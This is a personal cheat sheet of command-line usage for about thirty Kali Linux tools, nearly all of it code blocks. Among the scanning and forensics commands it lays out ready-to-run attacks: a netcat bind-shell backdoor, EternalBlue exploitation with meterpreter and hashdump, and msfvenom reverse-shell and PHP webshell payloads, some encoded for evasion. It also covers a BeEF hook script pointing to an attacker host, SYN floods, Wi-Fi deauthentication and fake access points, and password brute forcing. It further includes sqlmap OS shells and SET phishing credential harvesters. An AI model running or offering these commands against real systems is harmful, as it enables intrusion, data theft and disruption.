Use Of kali tools

Prepared by Md Jobarul Islam

Md Jobarul Islam
Mirpur, Dhaka
email: jobarulislam1203@gmail.com
linkedIn: https://www.linkedin.com/in/jobarulislam/
GitHub: https://github.com/jobarulislam
Phone: 01312-678017

Network Analysis and Scanning Tools

1. Nmap (Network Mapper)

Nmap remainsthegoldstandard fornetwork discovery and security auditing, offering unparalleled flexibility in network reconnaissance:

```
# Comprehensive network scan with service detection
nmap -sV -sC -O -A -T4 192.168.1.0/24

# Stealth SYN scan with timing optimization
nmap -sS -T2 -p- --max-retries 1 --min-rate 100 target.com

# Script-based vulnerability scanning
nmap --script vuln --script-args=unsafe=1 192.168.1.100

# Advanced firewall evasion techniques
nmap -sS -f --mtu 24 --data-length 1337 -D RND:10 --spoof-mac 0 192.168.1.1

# Custom NSE script execution
nmap --script=http-vuln-* --script-args
http-vuln-cve2017-5638.path=/struts2-showcase/ 192.168.1.100

# UDP service discovery
nmap -sU -sV --version-intensity 0 -n -T4 192.168.1.0/24

# IPv6 scanning
nmap -6 -sS -p 80,443,22,21,25 2001:db8::/32
```

2. Masscan

Masscanprovides Internet-scale port scanning capabilities with extraordinary speed:

```
# High-speed port scanning
masscan -p1-65535 192.168.1.0/24 --rate=1000

# Banner grabbing with output formatting
masscan -p80,443,445,22 10.0.0.0/8 --banners --source-port 61000 -oJ
scan_results.json

# Exclude ranges and rate limiting
masscan 0.0.0.0/0 -p80,443 --excludefile exclude.txt --rate=100000

# Custom packet crafting
masscan --ports 0-65535 --adapter-ip 192.168.1.100 --router-mac
00:11:22:33:44:55 192.168.1.0/24
```

3. Netcat (nc)

The"SwissArmyknife" of networking tools, essential for various security tasks:

```
# Reverse shell listener
nc -nlvp 4444

# Connect to remote port
nc -nv 192.168.1.100 80

# Port scanning
nc -zvn 192.168.1.100 1-1000 2>&1 | grep succeeded

# File transfer
# Receiver:
nc -l -p 1234 > received_file.txt
# Sender:
nc -w 3 192.168.1.100 1234 < file_to_send.txt

# Create backdoor (educational purpose only)
nc -l -p 4444 -e /bin/bash

# UDP connections
nc -u -l -p 1234

# HTTP request crafting
echo -e "GET / HTTP/1.1\r\nHost: target.com\r\n\r\n" | nc target.com 80
```

4. Wireshark

Thepremierpacket analysis tool for deep network inspection:

```
# Capture filters for specific traffic
wireshark -i eth0 -f "tcp port 80 and host 192.168.1.100"

# Display filters for analysis
# HTTP traffic: http
# HTTPS handshakes: ssl.handshake.type == 1
# DNS queries: dns.flags.response == 0
# SYN packets: tcp.flags.syn == 1 && tcp.flags.ack == 0

# Command-line capture with tshark
tshark -i eth0 -Y "http.request.method == POST" -T fields -e http.host -e
http.request.uri

# Extract files from packet capture
tshark -r capture.pcap --export-objects "http,extracted_files"
```

```
# Real-time statistics
tshark -i eth0 -q -z io,stat,1

# Decrypt HTTPS traffic with key
wireshark -o "ssl.keys_list:192.168.1.100,443,http,server.key" -r capture.pcap
```

5. Hping3

Advancedpacket crafting tool for security testing:

```
# SYN flood testing
hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source target.com

# Traceroute using different protocols
hping3 --traceroute -V -S -p 80 target.com

# Port scanning with custom flags
hping3 -8 50-60 -S -V target.com

# Firewall testing with fragmentation
hping3 -f -p 80 -S target.com

# Timestamp collection
hping3 -S -p 80 --tcp-timestamp target.com

# Custom packet with data
hping3 -p 80 -S -d 50 -E malicious.txt target.com
```

Web Application Testing Tools

6. Burp Suite

Theindustry-standard web application security testing platform:

```
# Launch Burp Suite
burpsuite

# Configure proxy settings
# Browser: 127.0.0.1:8080
# Burp: Proxy -> Options -> Running: 127.0.0.1:8080

# Intruder attack configuration example
# Position: username=§admin§&password=§password§
# Payloads: Custom wordlist or runtime generation
# Options: Follow redirects, store responses
# Scanner configuration for authenticated scanning
# Session handling rules for cookie/token management
# Scope definition for targeted scanning
# Passive/Active scan optimization

# Extension usage (Python example)
from burp import IBurpExtender, IHttpListener

class BurpExtender(IBurpExtender, IHttpListener):
    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        callbacks.setExtensionName("Custom Security Scanner")
        callbacks.registerHttpListener(self)

    def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
        if messageIsRequest:
            request = messageInfo.getRequest()
            # Custom security checks
```

7. OWASP ZAP (Zed Attack Proxy)

Open-source web application security scanner:

```
# Start ZAP in daemon mode
zap.sh -daemon -port 8090 -host 0.0.0.0

# Command-line quick scan
zap-cli --zap-url http://127.0.0.1:8090 -p 8090 quick-scan -s all -r
http://target.com

# Active scan with authentication
zap-cli active-scan -s all -r http://target.com -c "session=abc123"

# API usage for automation
curl
http://localhost:8090/JSON/ascan/action/scan/?url=http://target.com&recurse=true
&inScopeOnly=false

# Generate reports
zap-cli report -o zap_report.html -f html

# Spider with AJAX support
zap-cli ajax-spider http://target.com
```

8. SQLMap

Automated SQL injection detection and exploitation tool:

```
# Basic SQL injection test
sqlmap -u "http://target.com/page?id=1" --batch --risk=3 --level=5

# POST request testing
sqlmap -u "http://target.com/login" --data="username=admin&password=test"
--method=POST

# Cookie-based injection
sqlmap -u "http://target.com/profile" --cookie="session=abc123" --batch

# Database enumeration
sqlmap -u "http://target.com/page?id=1" --dbs
sqlmap -u "http://target.com/page?id=1" -D database_name --tables
sqlmap -u "http://target.com/page?id=1" -D database_name -T users --dump

# Advanced evasion techniques
sqlmap -u "http://target.com/page?id=1" --tamper=space2comment,charencode
--random-agent

# OS shell access
sqlmap -u "http://target.com/page?id=1" --os-shell

# Proxy and TOR usage
sqlmap -u "http://target.com/page?id=1" --proxy="http://127.0.0.1:8080" --tor
--check-tor
```

9. Nikto

Web server vulnerability scanner:

```
# Comprehensive scan
nikto -h http://target.com -o nikto_report.html -Format htm

# Scan with specific plugins
nikto -h http://target.com -Plugins "apache_expect_xss,subdomain"

# Stealth scanning with delays
nikto -h http://target.com -Pause 2 -T x 6

# Scan through proxy
nikto -h http://target.com -useproxy http://localhost:8080

# Custom user agent and cookies
nikto -h http://target.com -useragent "Mozilla/5.0" -cookie "session=abc123"

# SSL/TLS testing
```

```
nikto -h https://target.com -ssl -Tuning 9
```

10. Dirb/Dirbuster

Directoryandfilebrute-forcing tools:

```
# Basic directory enumeration
dirb http://target.com /usr/share/wordlists/dirb/common.txt

# Recursive scanning with extensions
dirb http://target.com -r -X .php,.txt,.bak

# Custom wordlist with authentication
dirb http://target.com /custom/wordlist.txt -a "admin:password"

# Non-recursive with specific status codes
dirb http://target.com -N -z 200,301,302

# Proxy usage with custom headers
dirb http://target.com -p http://localhost:8080 -H "X-Custom-Header: value"

# Save output and continue scan
dirb http://target.com -o scan_results.txt -w
```

Wireless Security Testing Tools

11. Aircrack-ng Suite

Comprehensivewirelesssecurity testing framework:

```
# Enable monitor mode
airmon-ng start wlan0

# Capture packets
airodump-ng wlan0mon

# Target specific network
airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w capture wlan0mon

# Deauthentication attack
aireplay-ng -0 10 -a 00:11:22:33:44:55 -c 66:77:88:99:AA:BB wlan0mon

# WEP cracking
aireplay-ng -1 0 -a 00:11:22:33:44:55 -h 66:77:88:99:AA:BB -e "NetworkName"
wlan0mon
```

```
aireplay-ng -3 -b 00:11:22:33:44:55 -h 66:77:88:99:AA:BB wlan0mon
aircrack-ng -b 00:11:22:33:44:55 capture*.cap

# WPA/WPA2 cracking
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 00:11:22:33:44:55
capture*.cap

# Create fake access point
airbase-ng -a 00:11:22:33:44:55 --essid "FreeWiFi" -c 6 wlan0mon
```

12. Reaver/Bully

WPSPINbrute-forcetools:

```
# Scan for WPS-enabled networks
wash -i wlan0mon

# Reaver WPS attack
reaver -i wlan0mon -b 00:11:22:33:44:55 -vv -K 1

# Bully WPS attack with pixie dust
bully wlan0mon -b 00:11:22:33:44:55 -d -v 3

# Advanced Reaver options
reaver -i wlan0mon -b 00:11:22:33:44:55 -vv -N -S -L -d 1 -r 3:15

# Custom PIN attempts
reaver -i wlan0mon -b 00:11:22:33:44:55 -p 12345670
```

13. Wifite

Automatedwireless attack tool:

```
# Automated attack on all networks
wifite

# Target specific encryption types
wifite --wep --wpa

# Custom timeout and requirements
wifite --wpa --wpat 600 --wpadt 60 --dict /usr/share/wordlists/rockyou.txt

# Specific channel and power threshold
wifite -c 6 --power 50

# WPS attacks only
```

```
wifite --wps --wps-ratio 3 --wps-time 600
```

Exploitation Framework Tools

14. Metasploit Framework

Theworld'smostusedpenetrationtesting framework:

```
# Start Metasploit console
msfconsole

# Database initialization
msfdb init

# Search for exploits
search type:exploit platform:windows smb

# Use exploit module
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS 192.168.1.100
set LHOST 192.168.1.50
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit

# Post-exploitation
sessions -l
sessions -i 1
sysinfo
hashdump
getsystem
migrate -N explorer.exe

# Auxiliary modules
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.0/24
run

# Generate payloads
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -fexe
> payload.exe
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf>
payload.elf

# Encode payloads
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e
x86/shikata_ga_nai -i 5 -f exe > encoded_payload.exe
```

15. BeEF (Browser Exploitation Framework)

Browser-focused exploitation framework:

```
# Start BeEF
beef-xss

# Hook browsers with JavaScript
<script src="http://attacker-ip:3000/hook.js"></script>

# REST API usage
curl -H "Content-Type: application/json" -X POST -d '{"username":"beef",
"password":"beef"}' http://127.0.0.1:3000/api/admin/login

# Command module execution via API
curl -H "Content-Type: application/json" -X POST -d '{"hb":"online-browser-id"}'
http://127.0.0.1:3000/api/modules/browser/hooked_domain/command

# Integration with Metasploit
# In BeEF: Configure Metasploit extension
# In MSF: load msgrpc ServerHost=127.0.0.1 Pass=abc123
```

16. Social Engineering Toolkit (SET)

Comprehensive social engineering framework:

```
# Launch SET
setoolkit

# Create phishing attack
# 1) Social-Engineering Attacks
# 2) Website Attack Vectors
# 3) Credential Harvester Attack Method
# 2) Site Cloner

# PowerShell attack vector
# 1) Social-Engineering Attacks
# 9) PowerShell Attack Vectors
# 1) PowerShell Alphanumeric Shellcode Injector

#  Infectious  media  generator  #  1)
Social-Engineering   Attacks   #   3)
Infectious   Media   Generator   #   2)
Standard Metasploit Executable

# Mass mailer attack
# 5) Mass Mailer Attack
# Configure SMTP settings and target list
```

Password Cracking and Analysis Tools

17. John the Ripper

Advancedpasswordcracking tool:

```
# Basic password cracking
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# Show cracked passwords
john --show hashes.txt

# Incremental mode
john --incremental:Alpha hashes.txt

# Custom rules
john --wordlist=wordlist.txt --rules=best64 hashes.txt

# Specific hash format
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt md5_hashes.txt

# Multi-core processing
john --fork=4 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# Session management
john --session=mysession hashes.txt
john --restore=mysession
```

18. Hashcat

GPU-accelerated password recovery:

```
# Benchmark system
hashcat -b

# Dictionary attack
hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt

# Brute force with mask
hashcat -m 0 -a 3 hashes.txt ?l?l?l?l?l?l?l?l

# Combination attack
```

```
hashcat -m 0 -a 1 hashes.txt wordlist1.txt wordlist2.txt

# Rule-based attack
hashcat -m 0 -a 0 hashes.txt wordlist.txt -r
/usr/share/hashcat/rules/best64.rule

# Hybrid attack
hashcat -m 0 -a 6 hashes.txt wordlist.txt ?d?d?d?d

# Show cracked passwords
hashcat -m 0 hashes.txt --show

# GPU temperature monitoring
hashcat -m 0 -a 0 hashes.txt wordlist.txt --gpu-temp-abort=90
```

19. Hydra

Networklogin cracker:

```
# SSH brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100

# HTTP POST form
hydra -l admin -P passwords.txt 192.168.1.100 http-post-form
"/login:username=^USER^&password=^PASS^:Invalid credentials"

# FTP with multiple users
hydra -L users.txt -P passwords.txt ftp://192.168.1.100

# SMB attack
hydra -L users.txt -P passwords.txt smb://192.168.1.100

# Custom port and threads
hydra -s 2222 -t 4 -l root -P passwords.txt ssh://192.168.1.100

# Resume interrupted session
hydra -R

# Verbose output with found passwords only
hydra -l admin -P passwords.txt -f -V ssh://192.168.1.100
```

20. Medusa

Parallelnetworklogin brute-forcer:

```
# Basic usage
```

```
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh

# Multiple hosts
medusa -H hosts.txt -u admin -P passwords.txt -M ssh

# Custom port and threads
medusa -h 192.168.1.100 -n 2222 -u root -P passwords.txt -t 10 -M ssh

# Stop on success
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh -f

# Test specific credentials
medusa -h 192.168.1.100 -u admin -p password123 -M ssh

# Multiple services scan
medusa -h 192.168.1.100 -U users.txt -P passwords.txt -M ssh -M ftp -M telnet
```

Vulnerability Analysis Tools

21. OpenVAS

Comprehensivevulnerability scanner:

```
# Start OpenVAS services
gvm-start

# Update feeds
greenbone-feed-sync

# Create target
gvm-cli --gmp-username admin --gmp-password admin socket --xml
"<create_target><name>Test
Target</name><hosts>192.168.1.100</hosts></create_target>"

# Create and start scan task
gvm-cli --gmp-username admin --gmp-password admin socket --xml
"<create_task><name>Test Scan</name><target id='target-id'/><scanner
id='scanner-id'/><config id='config-id'/></create_task>"

# Command-line scan
gvm-cli --gmp-username admin --gmp-password admin socket --cmd="get_reports
report_id"
```

22. Lynis

Securityauditing tool for Unix/Linux:

```
# System audit
lynis audit system

# Remote system audit
lynis audit system remote 192.168.1.100

# Custom profile
lynis audit system --profile /path/to/custom.prf

# Specific tests only
lynis audit system --tests "BOOT-5122 BOOT-5155 BOOT-5177"

# Generate report
lynis audit system --report-file /tmp/lynis-report.txt

# Pentest mode
lynis audit system --pentest

# Quick mode
lynis audit system --quick
```

23. Wapiti

Webapplication vulnerability scanner:

```
# Basic scan
wapiti -u http://target.com

# Scan with authentication
wapiti -u http://target.com -a "username%password"

# Specific modules
wapiti -u http://target.com -m "sql,xss,file"

# Set cookie
wapiti -u http://target.com -c "session=abc123"

# Proxy usage
wapiti -u http://target.com -p http://127.0.0.1:8080

# Output formats
wapiti -u http://target.com -f html -o report.html

# Scope limitation
```

```
wapiti -u http://target.com -s http://target.com/app/
```

Forensics and Information Gathering Tools

24. Maltego

Visuallinkanalysis and data mining tool:

```
# Launch Maltego
maltego

# Transform execution via command line (using CaseFile)
casefile

# Common transforms:
# - Domain to IP
# - Email to Person
# - Person to Phone Number
# - Company to Domain
# - IP to Location

# API integration for automated transforms
# Configure in Maltego UI: Transforms -> Transform Hub
```

25. Recon-ng

Webreconnaissance framework:

```
# Launch Recon-ng
recon-ng

#     Workspace     management
workspaces  create  target_recon
workspaces select target_recon

# Add domains
db insert domains domain=target.com

#  Module  usage  modules  search  modules  load
recon/domains-hosts/google_site_web  options  set
SOURCE target.com run



# API key management
```

```
keys add shodan_api XXXXXXXXXXXXXXXX
modules load recon/hosts-ports/shodan_ip
run

# Reporting
modules load reporting/html
options set FILENAME /tmp/recon_report.html
run
```

26. theHarvester

Email,subdomainandpeople names harvester:

```
# Basic domain search
theHarvester -d target.com -b google

# Multiple search engines
theHarvester -d target.com -b google,bing,linkedin,twitter

# Limit results
theHarvester -d target.com -b all -l 500

# Save results
theHarvester -d target.com -b all -f results.html

# DNS brute force
theHarvester -d target.com -b all -c

# Virtual host verification
theHarvester -d target.com -b all -v

# Shodan integration
theHarvester -d target.com -b shodan
```

27. Dmitry

DeepmagicInformation Gathering Tool:

```
# Basic scan
dmitry target.com

# All modules
dmitry -winse target.com

# Subdomain search
dmitry -s target.com
```

```
# Email search
dmitry -e target.com

# Port scan
dmitry -p target.com

# Save output
dmitry -o output.txt target.com

# Custom port range
dmitry -p target.com -f 1 -t 1000
```

28. Forensics Toolkit (Autopsy/Sleuth Kit)

Digital forensics platform:

```
# Create case
autopsy

# Command-line tools
# List partitions
mmls disk.img

# File system analysis
fls -r -p disk.img

# Recover deleted files
tsk_recover -e disk.img recovered_files/

# Timeline creation
fls -r -m "/" disk.img > timeline.body
mactime -b timeline.body -d > timeline.csv

# String search
strings -a disk.img | grep -i password

# Hash calculation
md5sum disk.img
sha256sum disk.img
```

Reverse Engineering Tools

29. Ghidra

NSA'sreverseengineering framework:

```
# Launch Ghidra
ghidra

# Headless analysis
analyzeHeadless /path/to/project ProjectName -import /path/to/binary -scriptPath
/path/to/scripts -postScript ScriptName.java

# Common analysis tasks:
#  -  Disassembly  #  -
Decompilation # - String
search  #   -   Function
graph   #    -    Cross-
references # - Data type
management

# Python scripting example
# from ghidra.app.script import GhidraScript
# def run():
#     function = getFunctionContaining(currentAddress)
#     print("Function: " + function.getName())
```

30. Radare2

Advancedcommand-line reverse engineering framework:

```
# Open binary
r2 binary

# Analysis
aaa

# List functions
afl

# Disassemble function
pdf @ main

# Visual mode
V

# Debug mode
```

```
r2 -d binary

# Web interface
r2 -c=H binary

# Search strings
iz

# Search opcodes
/x 90909090

# Cross-references
axt @ 0x08048000

# Binary patching
wx 9090 @ 0x08048000
```

31. GDB (with PEDA/GEF/pwndbg)

Enhanced debugger for reverse engineering:

```
# Start GDB with PEDA
gdb binary

# Set breakpoint
break main
break *0x08048000

# Run program
run
run $(python -c 'print "A"*100')

# Examine memory
x/10x $esp
x/10s 0x08048000
x/10i $eip

# PEDA commands
checksec
pattern create 100
pattern offset 0x41414141
searchmem "/bin/sh"
ropgadget

# Process information
info registers
info proc mappings
info functions
```

```
# Stepping si # step
instruction ni # next
instruction continue
```

Exploitation Development Tools

32. MSFVenom

Payloadgeneratorand encoder:

```
# List payloads
msfvenom -l payloads

# Windows reverse shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444
-f exe > shell.exe

# Linux reverse shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f
elf > shell.elf

# PHP webshell
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw>
shell.php

# Encoded payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e
x86/shikata_ga_nai -i 5 -f exe > encoded.exe

# Multiple formats
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f
python

# Bad character exclusion
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -b
'\x00\x0a\x0d' -f exe > clean.exe
```